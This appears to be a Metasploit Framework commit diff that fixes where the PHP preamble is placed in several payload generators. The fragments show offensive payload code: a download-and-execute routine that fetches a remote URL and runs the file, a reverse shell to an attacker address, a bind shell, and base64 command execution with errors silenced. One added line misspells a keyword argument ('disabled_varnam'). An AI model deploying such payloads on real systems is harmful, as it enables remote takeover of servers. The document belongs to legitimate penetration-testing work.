Skip to content

Commit cab19dc

Browse files
committed
Land rapid7#7904, Fix a bug where PHP tags were in the wrong place
2 parents 9a5d5ee + 83cb65d commit cab19dc

File tree

9 files changed

+15
-14
lines changed

9 files changed

+15
-14
lines changed

lib/msf/core/exploit/php_exe.rb

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -52,14 +52,13 @@ def get_write_exec_payload(opts={})
5252
end
5353
p = Rex::Text.encode_base64(generate_payload_exe)
5454
php = %Q{
55-
error_reporting(0);
55+
#{php_preamble}
5656
$ex = "#{bin_name}";
5757
$f = fopen($ex, "wb");
5858
fwrite($f, base64_decode("#{p}"));
5959
fclose($f);
6060
chmod($ex, 0777);
6161
function my_cmd($cmd) {
62-
#{php_preamble}
6362
#{php_system_block};
6463
}
6564
if (FALSE === strpos(strtolower(PHP_OS), 'win' )) {

lib/msf/core/payload/php.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,7 @@ def php_preamble(options = {})
2626
# Canonicalize the list of disabled functions to facilitate choosing a
2727
# system-like function later.
2828
preamble = "/*<?php /**/
29+
@error_reporting(0);
2930
@set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);
3031
#{dis}=@ini_get('disable_functions');
3132
if(!empty(#{dis})){

lib/msf/core/payload/php/bind_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -86,7 +86,7 @@ def generate_bind_tcp(opts={})
8686

8787
php << php_send_uuid if include_send_uuid
8888

89-
php << %Q^switch ($s_type) {
89+
php << %Q^switch ($s_type) {
9090
case 'stream': $len = fread($s, 4); break;
9191
case 'socket': $len = socket_read($s, 4); break;
9292
}

modules/payloads/singles/php/bind_php.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -43,7 +43,7 @@ def php_bind_shell
4343

4444
dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4);
4545
shell = <<-END_OF_PHP_CODE
46-
#{php_preamble({:disabled_varname => dis})}
46+
#{php_preamble(disabled_varname: dis)}
4747
$port=#{datastore['LPORT']};
4848
4949
$scl='socket_create_listen';

modules/payloads/singles/php/download_exec.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -40,6 +40,7 @@ def php_exec_file
4040
exename = Rex::Text.rand_text_alpha(rand(8) + 4)
4141
dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
4242
shell = <<-END_OF_PHP_CODE
43+
#{php_preamble(disabled_varname: dis)}
4344
if (!function_exists('sys_get_temp_dir')) {
4445
function sys_get_temp_dir() {
4546
if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); }
@@ -55,16 +56,17 @@ def php_exec_file
5556
}
5657
$fname = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "#{exename}.exe";
5758
$fd_in = fopen("#{datastore['URL']}", "rb");
59+
if ($fd_in === false) { die(); }
5860
$fd_out = fopen($fname, "wb");
61+
if ($fd_out === false) { die(); }
5962
while (!feof($fd_in)) {
6063
fwrite($fd_out, fread($fd_in, 8192));
6164
}
6265
fclose($fd_in);
6366
fclose($fd_out);
6467
chmod($fname, 0777);
6568
$c = $fname;
66-
#{php_preamble({:disabled_varname => dis})}
67-
#{php_system_block({:cmd_varname => "$c", :disabled_varname => dis})}
69+
#{php_system_block(cmd_varname: "$c", disabled_varnam: dis)}
6870
@unlink($fname);
6971
END_OF_PHP_CODE
7072

modules/payloads/singles/php/exec.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -37,9 +37,9 @@ def php_exec_cmd
3737
cmd = Rex::Text.encode_base64(datastore['CMD'])
3838
dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
3939
shell = <<-END_OF_PHP_CODE
40+
#{php_preamble(disabled_varname: dis)}
4041
$c = base64_decode("#{cmd}");
41-
#{php_preamble({:disabled_varname => dis})}
42-
#{php_system_block({:cmd_varname=>"$c", :disabled_varname => dis})}
42+
#{php_system_block(cmd_varname: "$c", disabled_varname: dis)}
4343
END_OF_PHP_CODE
4444

4545
return Rex::Text.compress(shell)

modules/payloads/singles/php/meterpreter_reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -38,7 +38,7 @@ def generate
3838

3939
uuid = generate_payload_uuid
4040
bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('')
41-
met = met.sub("\"PAYLOAD_UUID\", \"\"", "\"PAYLOAD_UUID\", \"#{bytes}\"")
41+
met = met.sub(%q|"PAYLOAD_UUID", ""|, %Q|"PAYLOAD_UUID", "#{bytes}"|)
4242

4343
met.gsub!(/#.*$/, '')
4444
met = Rex::Text.compress(met)

modules/payloads/singles/php/reverse_php.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -66,12 +66,12 @@ def php_reverse_shell
6666
shell=<<-END_OF_PHP_CODE
6767
$ipaddr='#{ipaddr}';
6868
$port=#{port};
69-
#{php_preamble({:disabled_varname => "$dis"})}
69+
#{php_preamble(disabled_varname: "$dis")}
7070
7171
if(!function_exists('#{exec_funcname}')){
7272
function #{exec_funcname}($c){
7373
global $dis;
74-
#{php_system_block({:cmd_varname => "$c", :disabled_varname => "$dis", :output_varname => "$o"})}
74+
#{php_system_block(cmd_varname: "$c", disabled_varname: "$dis", output_varname: "$o")}
7575
return $o;
7676
}
7777
}

modules/payloads/singles/php/shell_findsock.rb

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -50,13 +50,12 @@ def php_findsock
5050
var_fd = '$' + Rex::Text.rand_text_alpha(rand(4) + 6)
5151
var_out = '$' + Rex::Text.rand_text_alpha(rand(4) + 6)
5252
shell = <<END_OF_PHP_CODE
53-
error_reporting(0);
53+
#{php_preamble}
5454
print("<html><body>");
5555
flush();
5656
5757
function mysystem(#{var_cmd}){
58-
#{php_preamble()}
59-
#{php_system_block({:cmd_varname=>var_cmd, :output_varname => var_out})}
58+
#{php_system_block(cmd_varname: var_cmd, output_varname: var_out)}
6059
return #{var_out};
6160
}
6261

0 commit comments

Comments
 (0)